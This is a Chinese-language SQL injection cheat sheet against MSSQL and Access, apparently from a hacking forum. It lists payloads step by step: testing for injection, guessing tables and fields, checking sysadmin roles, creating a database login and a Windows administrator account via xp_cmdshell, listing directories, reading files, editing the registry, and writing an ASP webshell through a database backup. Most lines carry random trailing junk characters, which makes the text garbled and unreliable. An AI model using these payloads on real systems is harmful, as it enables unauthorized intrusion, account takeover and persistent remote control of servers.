1.判断是否有注入;and 1=1 ;and 1=2 1w!O&kn
2.初步判断是否是mssql ;and user>0 |[_%zV;p>v
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3.注入参数是字符'and [查询条件] and ''=' 0-Ga2Go9
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' J#?`l,
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5.判断数据库系统 PcQ\o>0")
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;and (select count(*) from sysobjects)>0 mssql /(u# D[
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;and (select count(*) from msysobjects)>0 access hiKyU!)Hv
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 at+Nd K
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ]!X[[w)
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -pHUC't
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9.(1)猜字段的ascii值(access) .% 79(r^
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 b_ vKP
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(2)猜字段的ascii值(mssql) YSB~04
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
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10.测试权限结构(mssql) Cq -URih
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2~l +2..
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- /Un\P
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- t52KF#+>
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- .lAPlJOO
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- >a;LBQ0
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;and 1=(select IS_MEMBER('db_owner'));-- q 2P_37
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11.添加mssql和系统的帐户 zZW5M^z8
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;exec master.dbo.sp_addlogin username;-- Pm]lr|Q{I
;exec master.dbo.sp_password null,username,password;-- &
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3Rhoul[S
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;exec master.dbo.xp_cmdshell 'net user username password [Z2{S-)UM
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 'YJ~~o
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- IF cre
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12.(1)遍历目录 r>}z|I'
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;create table dirs(paths varchar(100), id int) 3+\Zom4
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;insert dirs exec master.dbo.xp_dirtree 'c:\' <G0Ut6J>
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;and (select top 1 paths from dirs)>0 <MKXFV
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 9^&B.6! 6
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(2)遍历目录 =w3 cF)&
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- B@@tKn_CQ
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 =te4p@
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 JAM]neKiX
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 KF1Zy;
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Vry*=X&Q
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13.mssql中的存储过程 oWx^_wQ-=
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xp_regenumvalues 注册表根键, 子键 nly}ly Q/
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 "sIww
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xp_regread 根键,子键,键值名 j"jQiL_*
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 U%0|LQk5
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xp_regwrite 根键,子键, 值名, 值类型, 值 4\ |/S@.
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 .2U3_1dX
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xp_regdeletevalue 根键,子键,值名 ]t~'wL#Z
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ,c0t#KgQ.
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 D+jE{v'
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14.mssql的backup创建webshell 4e?bkC
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use model W]Nc6B*gI
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create table cmd(str image); t3g+>U_m
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insert into cmd(str) values (''); E^gN]Z"O
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backup database model to disk='c:\l.asp'; h6IO ;:P)
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15.mssql内置函数 =c$x xEDD
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;and (select @@version)>0 获得Windows的版本号 sxS%1hp3
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Pd& Npp3
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;and (select user_name())>0 爆当前系统的连接用户 4<vi@,s
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;and (select db_name())>0 得到当前连接的数据库 Y@<jvH1
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16.简洁的webshell v,8Q9<=O
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use model DF>tQ
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create table cmd(str image); OHW|?hI=[
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insert into cmd(str) values (''); <`G-_VI
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backup database model to disk='g:\wwwtest\l.asp';